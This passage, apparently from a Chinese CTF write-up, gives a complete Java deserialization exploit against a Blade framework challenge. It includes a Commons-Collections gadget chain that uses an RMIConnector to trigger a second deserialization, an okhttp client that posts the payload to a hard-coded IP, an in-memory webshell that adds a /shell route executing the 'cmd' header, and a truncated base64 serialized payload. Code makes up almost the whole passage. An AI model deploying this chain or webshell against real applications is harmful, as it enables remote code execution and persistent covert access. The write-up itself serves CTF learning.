        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

不出网没问题,在网上看到了有可以直接用的blade框架的内存马,并且是直接反序列化二进制数据,所以直接使用 okhttp3 发包,最终 exp 如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
package org.example.Exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import okhttp3.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class BladeCCPoc {
    public static void main(String[] args) throws Exception {
        String payload = generateTemplatesPayload();
        byte[] serializedBytes = executeWithRMIConnector(payload);

        OkHttpClient client = new OkHttpClient();
        MediaType mediaType = MediaType.parse("application/octet-stream");
        RequestBody body = RequestBody.create(mediaType, serializedBytes);
        Request request = new Request.Builder()
                .url("http://154.36.152.109:8888/challenge")
                .post(body)
                .build();
        Response response = client.newCall(request).execute();
        System.out.println("[+] Response: " + response.body().string());
    }

    public static String generateTemplatesPayload() throws Exception {
        byte[] bytecode = ClassPool.getDefault().get(org.example.Exp.blade_shell.class.getName()).toBytecode();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(certPath, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(codeSigner, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), certPath);

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getFieldValue(undoManager, "edits");
        edits.add(codeSigner);

        unsafe.putObject(listenerList, unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
                new Object[]{InternalError.class, undoManager});

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        return serialize2Base64(listenerList);
    }

    public static byte[] executeWithRMIConnector(String base64) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, invokerTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);

        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object o1 = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);

        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(o1);
        unsafe.putObject(list2, unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")), new Object[]{InternalError.class, manager});

        return serialize(list2);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package org.example.Exp;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.IdentityHashMap;
import java.util.Map;

import com.hellokaton.blade.Blade;
import com.hellokaton.blade.annotation.Path;
import com.hellokaton.blade.mvc.RouteContext;
import com.hellokaton.blade.mvc.WebContext;
import com.hellokaton.blade.mvc.http.HttpMethod;
import com.hellokaton.blade.mvc.http.HttpResponse;
import com.hellokaton.blade.mvc.route.Route;
import com.hellokaton.blade.mvc.route.RouteMatcher;
import com.hellokaton.blade.mvc.ui.ResponseType;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.hellokaton.blade.mvc.http.Request;

public class blade_shell extends AbstractTranslet {

    static {
        try {
            WebContext context = WebContext.get();
            Blade blade = context.blade();
            // 反射获取 routeMatcher
            Field f = Blade.class.getDeclaredField("routeMatcher");
            f.setAccessible(true);
            RouteMatcher realMatcher = (RouteMatcher) f.get(blade);

            // 构造你的 Route
            Route route = Route.builder()
                    .httpMethod(HttpMethod.GET)
                    .path("/shell")
                    .target(new blade_shell())
                    .targetType(blade_shell.class)
                    .action(blade_shell.class.getDeclaredMethod("exp"))
                    .build();

            Field field = Route.class.getDeclaredField("responseType");
            field.setAccessible(true);
            field.set(route, ResponseType.EMPTY);

            Method addRoute = RouteMatcher.class.getDeclaredMethod("addRoute", Route.class);
            addRoute.setAccessible(true);
            addRoute.invoke(realMatcher, route);

            Method register = RouteMatcher.class.getDeclaredMethod("register");
            register.setAccessible(true);
            register.invoke(realMatcher);

        } catch (InvocationTargetException | NoSuchMethodException |
                 IllegalAccessException | NoSuchFieldException e) {
            throw new RuntimeException(e);
        }
    }

    public void exp() throws Exception{
        WebContext context = WebContext.get();
        HttpResponse response = (HttpResponse) context.getResponse();
        Request request = context.getRequest();
        String cmd = request.header("cmd");
        Process process = Runtime.getRuntime().exec(cmd);

        StringBuilder output = new StringBuilder();

        try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
             BufferedReader errReader = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {

            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            while ((line = errReader.readLine()) != null) {
                output.append(line).append("\n");
            }
        }
        response.body(output.toString());
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

img

白哥出的题,需要学太多前置知识了,XD🥵,pom.xml 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>TwiceReadObject</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <cc3.version>3.2.1</cc3.version>
        <javassist.version>3.28.0-GA</javassist.version>
        <blade-core.version>2.1.1.RELEASE</blade-core.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>${cc3.version}</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>${javassist.version}</version>
        </dependency>

        <dependency>
            <groupId>com.hellokaton</groupId>
            <artifactId>blade-core</artifactId>
            <version>${blade-core.version}</version>
        </dependency>

        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>4.12.0</version>
        </dependency>
    </dependencies>
</project>

还有就是自己生成base64数据手动打入的,也是我们最常用的手法

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package org.example.Exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class Test {
    public static void main(String[] args) throws Exception {
        String payload = generateTemplatesPayload();
        String fianlPayload = executeWithRMIConnector(payload);
        System.out.println(fianlPayload);
    }

    public static String generateTemplatesPayload() throws Exception {
        byte[] bytecode = ClassPool.getDefault().get(org.example.Base.Eval.class.getName()).toBytecode();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        X509CertPath certPath = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(certPath, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object codeSigner = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(codeSigner, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), certPath);

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getFieldValue(undoManager, "edits");
        edits.add(codeSigner);

        unsafe.putObject(listenerList, unsafe.objectFieldOffset(listenerList.getClass().getDeclaredField("listenerList")),
                new Object[]{InternalError.class, undoManager});

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        return serialize2Base64(listenerList);
    }

    public static String executeWithRMIConnector(String base64) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        ArrayList<Object> list = new ArrayList<>();
        List decorate1 = TransformedList.decorate(list, invokerTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));

        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);

        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);

        Object o1 = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);

        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(o1);
        unsafe.putObject(list2, unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")), new Object[]{InternalError.class, manager});

        return serialize2Base64(list2);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

进行反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package org.example.Exp;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String s = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHh4c3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzcQB+AAlMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHB0AAdjb25uZWN0cHhzcgA3b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50RmFjdG9yec8kCrdtWyoIAgABTAAJaUNvbnN0YW50dAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAoamF2YXgubWFuYWdlbWVudC5yZW1vdGUucm1pLlJNSUNvbm5lY3RvcgtXtviCJOLpAwACTAANam14U2VydmljZVVSTHQAJ0xqYXZheC9tYW5hZ2VtZW50L3JlbW90ZS9KTVhTZXJ2aWNlVVJMO0wACXJtaVNlcnZlcnQAJ0xqYXZheC9tYW5hZ2VtZW50L3JlbW90ZS9ybWkvUk1JU2VydmVyO3hwc3IAJWphdmF4Lm1hbmFnZW1lbnQucmVtb3RlLkpNWFNlcnZpY2VVUkxxbZ+gXZJtHAIABEkABHBvcnRMAARob3N0cQB+ABRMAAhwcm90b2NvbHEAfgAUTAAHdXJsUGF0aHEAfgAUeHAAAAAAdAAAdAADcm1pdBPKL3N0dWIvck8wQUJYTnlBQ05xWVhaaGVDNXpkMmx1Wnk1bGRtVnVkQzVGZG1WdWRFeHBjM1JsYm1WeVRHbHpkTEUyeG4yRTZ0WkVBd0FBZUhCMEFCZHFZWFpoTG14aGJtY3VTVzUwWlhKdVlXeEZjbkp2Y25OeUFCeHFZWFpoZUM1emQybHVaeTUxYm1SdkxsVnVaRzlOWVc1aFoyVnk0eXNoZVV4eHlrSUNBQUpKQUE1cGJtUmxlRTltVG1WNGRFRmtaRWtBQld4cGJXbDBlSElBSFdwaGRtRjRMbk4zYVc1bkxuVnVaRzh1UTI5dGNHOTFibVJGWkdsMHBaNVF1bFBibGYwQ0FBSmFBQXBwYmxCeWIyZHlaWE56VEFBRlpXUnBkSE4wQUJKTWFtRjJZUzkxZEdsc0wxWmxZM1J2Y2p0NGNnQWxhbUYyWVhndWMzZHBibWN1ZFc1a2J5NUJZbk4wY21GamRGVnVaRzloWW14bFJXUnBkQWdORzQ3dEFnc1FBZ0FDV2dBRllXeHBkbVZhQUF0b1lYTkNaV1Z1Ukc5dVpYaHdBUUVCYzNJQUVHcGhkbUV1ZFhScGJDNVdaV04wYjNMWmwzMWJnRHV2QVFNQUEwa0FFV05oY0dGamFYUjVTVzVqY21WdFpXNTBTUUFNWld4bGJXVnVkRU52ZFc1MFd3QUxaV3hsYldWdWRFUmhkR0YwQUJOYlRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN2VIQUFBQUFBQUFBQUFYVnlBQk5iVEdwaGRtRXViR0Z1Wnk1UFltcGxZM1E3a001WW54QnpLV3dDQUFCNGNBQUFBR1J6Y2dBWWFtRjJZUzV6WldOMWNtbDBlUzVEYjJSbFUybG5ibVZ5WHFMNlpzc2htcTBDQUFKTUFBNXphV2R1WlhKRFpYSjBVR0YwYUhRQUhVeHFZWFpoTDNObFkzVnlhWFI1TDJObGNuUXZRMlZ5ZEZCaGRHZzdUQUFKZEdsdFpYTjBZVzF3ZEFBWlRHcGhkbUV2YzJWamRYSnBkSGt2VkdsdFpYTjBZVzF3TzNod2MzSUFLM04xYmk1elpXTjFjbWwwZVM1d2NtOTJhV1JsY2k1alpYSjBjR0YwYUM1WU5UQTVRMlZ5ZEZCaGRHaEZQMVQzVEVVZ3RBSUFBVXdBQldObGNuUnpkQUFRVEdwaGRtRXZkWFJwYkM5TWFYTjBPM2h5QUJ0cVlYWmhMbk5sWTNWeWFYUjVMbU5sY25RdVEyVnlkRkJoZEdoVU40bVhmZFBsK3dJQUFVd0FCSFI1Y0dWMEFCSk1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dDRjSEJ6Y2dBc2IzSm5MbUZ3WVdOb1pTNWpiMjF0YjI1ekxtTnZiR3hsWTNScGIyNXpMbXhwYzNRdVRHRjZlVXhwYzNUb1NwWW1XcHBVOGdJQUFVd0FCMlpoWTNSdmNubDBBQ2hNYjNKbkwyRndZV05vWlM5amIyMXRiMjV6TDJOdmJHeGxZM1JwYjI1ekwwWmhZM1J2Y25rN2VISUFSVzl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVqYjJ4c1pXTjBhVzl1Y3k1c2FYTjBMa0ZpYzNSeVlXTjBVMlZ5YVdGc2FYcGhZbXhsVEdsemRFUmxZMjl5WVhSdmNpVkM1Q24yalh0ckF3QUFlSEJ6Y2dBemIzSm5MbUZ3WVdOb1pTNWpiMjF0YjI1ekxtTnZiR3hsWTNScGIyNXpMbXhwYzNRdVZISmhibk5tYjNKdFpXUk1hWE4wRHZMMVc2MnpZVlVDQUFCNGNnQS9iM0puTG1Gd1lXTm9aUzVqYjIxdGIyNXpMbU52Ykd4bFkzUnBiMjV6TG1OdmJHeGxZM1JwYjI0dVZISmhibk5tYjNKdFpXUkRiMnhzWldOMGFXOXVlS0ZBOTZSekRwb0NBQUZNQUF0MGNtRnVjMlp2Y20xbGNuUUFMRXh2Y21jdllYQmhZMmhsTDJOdmJXMXZibk12WTI5c2JHVmpkR2x2Ym5NdlZISmhibk5tYjNKdFpYSTdlSElBVVc5eVp5NWhjR0ZqYUdVdVkyOXRiVzl1Y3k1amIyeHNaV04wYVc5dWN5NWpiMnhzWldOMGFXOXVMa0ZpYzNSeVlXTjBVMlZ5YVdGc2FYcGhZbXhsUTI5c2JHVmpkR2x2YmtSbFkyOXlZWFJ2Y2xhOEVCTzdwcUUwQXdBQWVIQnpjZ0FUYW1GMllTNTFkR2xzTGtGeWNtRjVUR2x6ZEhpQjBoMlp4MkdkQXdBQlNRQUVjMmw2Wlhod0FBQUFBSGNFQUFBQUFIaDRjM0lBT205eVp5NWhjR0ZqYUdVdVkyOXRiVzl1Y3k1amIyeHNaV04wYVc5dWN5NW1kVzVqZEc5eWN5NURhR0ZwYm1Wa1ZISmhibk5tYjNKdFpYSXd4NWZzS0hxWEJBSUFBVnNBRFdsVWNtRnVjMlp2Y20xbGNuTjBBQzFiVEc5eVp5OWhjR0ZqYUdVdlkyOXRiVzl1Y3k5amIyeHNaV04wYVc5dWN5OVVjbUZ1YzJadmNtMWxjanQ0Y0hWeUFDMWJURzl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVqYjJ4c1pXTjBhVzl1Y3k1VWNtRnVjMlp2Y20xbGNqdTlWaXJ4MkRRWW1RSUFBSGh3QUFBQUFuTnlBRHR2Y21jdVlYQmhZMmhsTG1OdmJXMXZibk11WTI5c2JHVmpkR2x2Ym5NdVpuVnVZM1J2Y25NdVEyOXVjM1JoYm5SVWNtRnVjMlp2Y20xbGNsaDJrQkZCQXJHVUFnQUJUQUFKYVVOdmJuTjBZVzUwZEFBU1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN2VIQnpjZ0E2WTI5dExuTjFiaTV2Y21jdVlYQmhZMmhsTG5oaGJHRnVMbWx1ZEdWeWJtRnNMbmh6YkhSakxuUnlZWGd1VkdWdGNHeGhkR1Z6U1cxd2JBbFhUOEZ1cktzekF3QUdTUUFOWDJsdVpHVnVkRTUxYldKbGNra0FEbDkwY21GdWMyeGxkRWx1WkdWNFd3QUtYMko1ZEdWamIyUmxjM1FBQTF0YlFsc0FCbDlqYkdGemMzUUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPMHdBQlY5dVlXMWxjUUIrQUJSTUFCRmZiM1YwY0hWMFVISnZjR1Z5ZEdsbGMzUUFGa3hxWVhaaEwzVjBhV3d2VUhKdmNHVnlkR2xsY3p0NGNBQUFBQUQvLy8vL2RYSUFBMXRiUWt2OUdSVm5aOXMzQWdBQWVIQUFBQUFCZFhJQUFsdENyUE1YK0FZSVZPQUNBQUI0Y0FBQUJnREsvcnErQUFBQU5BQTBDZ0FJQUNRS0FDVUFKZ2dBSndvQUpRQW9Cd0FwQ2dBRkFDb0hBQ3NIQUN3QkFBWThhVzVwZEQ0QkFBTW9LVllCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBRjB4dmNtY3ZaWGhoYlhCc1pTOUNZWE5sTDBWMllXdzdBUUFKZEhKaGJuTm1iM0p0QVFCeUtFeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012UkU5Tk8xdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPeWxXQVFBSVpHOWpkVzFsYm5RQkFDMU1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDBSUFRUc0JBQWhvWVc1a2JHVnljd0VBUWx0TVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaHRiQzlwYm5SbGNtNWhiQzl6WlhKcFlXeHBlbVZ5TDFObGNtbGhiR2w2WVhScGIyNUlZVzVrYkdWeU93RUF